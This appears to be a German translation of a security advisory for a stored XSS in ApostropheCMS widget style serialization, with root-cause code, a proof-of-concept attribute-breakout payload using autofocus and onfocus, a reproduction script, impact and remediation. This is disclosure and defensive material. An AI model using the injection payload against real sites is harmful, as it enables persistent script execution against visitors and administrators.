Mittel

ApostropheCMS: Gespeichertes XSS über nicht maskierte Serialisierung von Widget-Stilattributen

  • Veröffentlicht: 21.10.2026
  • Aktualisiert: 21.10.2026 20:23

Zusammenfassung

Widget-Stile in ApostropheCMS unterstützen projektdefinierte Schemafelder. Wenn ein Projekt ein Freiform-string-Stilfeld mit einer CSS-property und ohne Selektor definiert, wird ein vom Bearbeiter kontrollierter Wert als Inline-CSS-Deklaration gerendert. Die resultierende Deklaration wird anschließend ohne HTML-Attribut-Escaping in das style="..."-Attribut des Widget-Wrappers eingefügt.

Ein Angreifer, der das Widget bearbeiten kann, kann ein doppeltes Anführungszeichen in den Stilwert einfügen, das style-Attribut vorzeitig beenden und neue HTML-Event-Handler-Attribute einschleusen. Die Nutzlast wird mit dem Widget gespeichert und im Ursprung (Origin) der Apostrophe-Website ausgeführt, sobald die betroffene veröffentlichte Seite gerendert wird.

Dies ist eine Schwesterlücke zu CVE-2026-33889 / GHSA-97v6-998m-fp4g. Bei der früheren Schwachstelle gelang der Ausbruch aus einem <style>-Element über einen bösartigen Farbwert. Diese Variante erreicht eine andere Senke (Sink), die sich auf die automatisch generierten Inline-Attribute style und class des Widget-Wrappers bezieht.

Details

Ursache 1: Freiform-String-Stilwerte behalten HTML-Metazeichen bei

Der Standard-String-Feldkonverter verwendet launder.string() und eine Längenvalidierung. Dies führt eine Typnormalisierung durch, jedoch keine Ausgabekodierung für den Kontext eines HTML-Attributs:

packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333

js
self.addFieldType({
  name: 'string',
  // ...
  convert(req, field, data, destination) {
    destination[field.name] = self.apos.launder.string(data[field.name]);
    destination[field.name] = checkStringLength(
      destination[field.name],
      field.min,
      field.max
    );
  }
});

Anführungszeichen bleiben daher in einem Wert erhalten, der über ein Stilfeld übergeben wird.

Ursache 2: Der Wert wird ohne Validierung in Inline-CSS umgewandelt

Für ein Feld mit property, aber ohne selector oder Media-Query, wählt renderScopedStyles() das Inline-Rendering. Der generische Extraktor verkettet die konfigurierte Eigenschaft und den vom Bearbeiter kontrollierten Wert:

packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228

packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647

js
rule = `${property}: ${normalized.value}${normalized.unit}`;

// ...

if (isInline) {
  return {
    css: '',
    classes: [ ...storage.classes ],
    inline: stringifyRules(storage.styles, true)
  };
}

Beispielsweise wird der folgende Wert Teil einer font-family-Deklaration:

serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'

Ursache 3: Attributwerte werden ohne HTML-Escaping serialisiert

getWidgetAttributes() platziert das Inline-CSS in ein Attribut-Tupel und verkettet jedes Tupel zu key="value", ohne &, <, >, ' oder " zu maskieren:

packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322

js
if (styleParts.length) {
  attrs.push(
    [ 'style', `${styleParts.join(';')};` ]
  );
}

if (options.asObject) {
  return Object.fromEntries(attrs);
}

return attrs
  .map(([ key, value ]) => `${key}="${value}"`)
  .join(' ');

Der gleiche Raw-Serializer macht auch einen projektdefinierten Freiform-string-Stil mit class: true zu einem potenziellen Pfad, da der String zu classes hinzugefügt und später in class="..." serialisiert wird. Der Inline-Eigenschaftspfad war der dynamisch verifizierte Pfad.

Ursache 4: Der unsichere String wird vom automatischen öffentlichen Wrapper verwendet

Gestylte Widgets verwenden getWidgetAttributes(), um einen Wrapper um das gerenderte Widget zu erzeugen:

packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457

js
if (hasStyles && self.options.stylesWrapper !== false) {
  const styles = self.apos.styles.prepareWidgetStyles(widget);
  const styleTag = self.apos.styles
    .getWidgetElements(styles, { scene: req.scene });
  const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);

  return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}

Folglich ist das injizierte Attribut bei regulären öffentlichen Seitenaufrufen vorhanden, nicht nur in der Benutzeroberfläche des Editors.

Warum die Schutzmaßnahme CVE-2026-33889 diese Variante nicht verhindert

Die Schwesternachricht führte zu einem Schutz in getWidgetElements(), der </ umschreibt, bevor CSS in ein <style>-Element eingefügt wird:

js
css = css.replaceAll('</', '<\\/');

Dies schützt die Begrenzung des Style-Elements. Der oben beschriebene verwundbare Pfad erzeugt stattdessen eine inline-Ausgabe anstelle von css, sodass dieser Ersetzungsschritt nicht erreicht wird.

Betroffene Konfigurationen und Versionen

Die verifizierte Konfiguration erfüllt alle folgenden Eigenschaften:

  • Ein Widget definiert ein Stilfeld mit einem Freiformtyp wie string.
  • Das Feld verwendet property ohne Selektor, was zu einem Inline-Style-Rendering führt, oder verwendet class: true mit einem uneingeschränkten String-Wert.
  • Der Angreifer besitzt die Berechtigung, ein Widget zu bearbeiten, das dieses Feld enthält.
  • Der bösartige Inhalt wird veröffentlicht oder ein höher privilegierter Benutzer betrachtet den betroffenen Entwurf.

Standard-Voreinstellungen für Range, Select und Color stellen nicht direkt uneingeschränkte Anführungszeichen bereit und wurden für diese Variante nicht als betroffen nachgewiesen.

Proof of Concept

Schritt 1: Konfigurieren eines Widgets mit einem Freiform-Inline-Stil

Fügen Sie einem Widget-Modul ein Stilfeld ähnlich dem folgenden hinzu:

js
module.exports = {
  extend: '@apostrophecms/widget-type',
  options: {
    label: 'Style Attribute Test'
  },
  styles: {
    add: {
      customFont: {
        type: 'string',
        label: 'Custom Font',
        property: 'font-family'
      }
    }
  }
};

Das Fehlen von selector führt dazu, dass die generierte Deklaration als Inline-Stil gerendert wird.

Schritt 2: Speichern der Nutzlast

Geben Sie als Benutzer, der dieses Widget bearbeiten darf, folgenden Wert in customFont ein und speichern Sie das Widget:

serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'

Veröffentlichen Sie die Seite oder lassen Sie einen anderen Benutzer den betroffenen Entwurf ansehen.

Schritt 3: Ausgabe des Renderers direkt reproduzieren

Der verwundbare Datenfluss kann auch direkt mit dem echten Renderer und Serializer aus einem ausgecheckten Repository mit installierten Abhängigkeiten reproduziert werden:

js
const methodsFactory = require(
  './packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);

(async () => {
  const { renderScopedStyles } = await import(
    './packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
  );

  const payload =
    'serif" tabindex="0" autofocus ' +
    'onfocus="document.body.dataset.inline=\'executed\'';

  const styles = renderScopedStyles(
    [ {
      name: 'customFont',
      type: 'string',
      property: 'font-family'
    } ],
    { customFont: payload }
  );

  Object.assign(styles, {
    styleId: 'audit-inline',
    widgetId: 'widget-1'
  });

  const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
  console.log('inline:', styles.inline);
  console.log('attributes:', attrs);
})();

Schritt 4: Unsicheres HTML beobachten

Der aktuelle Renderer erzeugte:

inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';

Der Serializer erzeugte daraufhin einen Attribut-String, der folgendem entspricht:

html
id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-style-classes=""
style="font-family: serif" tabindex="0" autofocus
onfocus="document.body.dataset.inline='executed';"

Das vom Angreifer kontrollierte Anführungszeichen beendet das Attribut style. tabindex, autofocus und onfocus werden zu separaten, aktiven Attributen.

Schritt 5: Ausführung im Browser bestätigen

Als der generierte Wrapper in Chrome 153 geladen wurde, löste Autofokus den eingeschleusten Handler automatisch aus. Das DOM veränderte sich zu:

html
<body data-inline="executed">
  <div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div>
</body>

Das sichere Verhalten bestünde darin, dass das Anführungszeichen als &quot; innerhalb des style-Attributs maskiert wird, ohne dass Attribute injiziert werden oder sich document.body.dataset ändert.

Auswirkungen

  • Gespeichertes XSS auf veröffentlichten Seiten: JavaScript wird bei nicht authentifizierten Besuchern ausgeführt, die eine Seite mit dem betroffenen Widget laden.
  • Rechteausweitung: Wenn ein Administrator oder ein anderer privilegierter Bearbeiter die Seite oder den Entwurf aufruft, wird die Nutzlast mit den Ursprungsrechten dieses Benutzers ausgeführt und kann authentifizierte Aktionen des Opfers durchführen.
  • Persistente Inhaltsmanipulation: Die Nutzlast wird zusammen mit dem Widget-Inhalt gespeichert und weiterhin ausgeführt, bis der Stilwert entfernt oder der Ausgabepfad korrigiert wird.
  • Phishing und Datenzugriff: Das Skript kann die dargestellte Seite verändern, Non-HttpOnly-Daten desselben Ursprungs auslesen und Same-Origin-Anfragen im Namen des Opfers stellen.

Empfohlene Behebung

Behebung 1: HTML-Escaping aller Attributwerte, die Strings zurückgeben

Der String-Zweig von getWidgetAttributes() sollte Werte vor der Verkettung für den Kontext doppelt quotierter HTML-Attribute kodieren. Mindestens sollten &, <, >, " und ' über einen zentralen Apostrophe-HTML-Encoder kodiert werden.

Konzeptionell:

js
if (options.asObject) {
  return Object.fromEntries(attrs);
}

return attrs
  .map(([ key, value ]) => {
    return `${key}="${escapeHtmlAttribute(String(value))}"`;
  })
  .join(' ');

Der strukturierte Zweig asObject sollte strukturiert bleiben, damit der zuständige Template-/DOM-Renderer die kontextgerechte Kodierung durchführen kann.

Behebung 2: Stilwerte anhand der Zielgrammatik validieren

Die Ausgabekodierung ist die primäre Behebungsmaßnahme. Als Defense-in-Depth-Maßnahmen:

  • Erzwingen von Select/Range/Color oder anderen eingeschränkten Typen für gängige CSS-Eigenschaften.
  • Parsen und Validieren von Freiform-CSS-Eigenschaftswerten, anstatt sie als beliebige Zeichenketten zu behandeln.
  • Für class: true nur einzelne gültige Klassennamen-Tokens anstelle beliebiger Strings akzeptieren.

Was zu tun ist

Aktualisieren Sie das Paket apostrophe auf Version 4.34.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket apostrophe < 4.34.0 4.34.0

Verweise

CVSS-Wert 5.4/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Schwäche (CWE)
CWE-79
Plattform
npm
Paket
apostrophe
Veröffentlicht
21.10.2026
Aktualisiert
21.10.2026 20:23

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-7jg5-frgc-c67w - CC BY 4.0

Schwachstellenhistorie: apostrophe

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (33) im Archiv
Einträge insgesamt
33
Erste → letzte
09.2020 10.2026
Ohne Fix
4
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 9
  • Mittel 18
  • Niedrig 4

Veröffentlichungen pro Jahr

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 29
Schweregrad:
  1. ApostropheCMS: Gespeichertes XSS über nicht maskierte Serialisierung von Widget-Stilattributen dieser Eintrag
    Mittel · 5.4 CVE-2026-112958 < 4.34.0 4.34.0
  2. Hoch · 7.3 CVE-2026-45011 = 4.29.0 keine Korrektur
  3. Kritisch · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.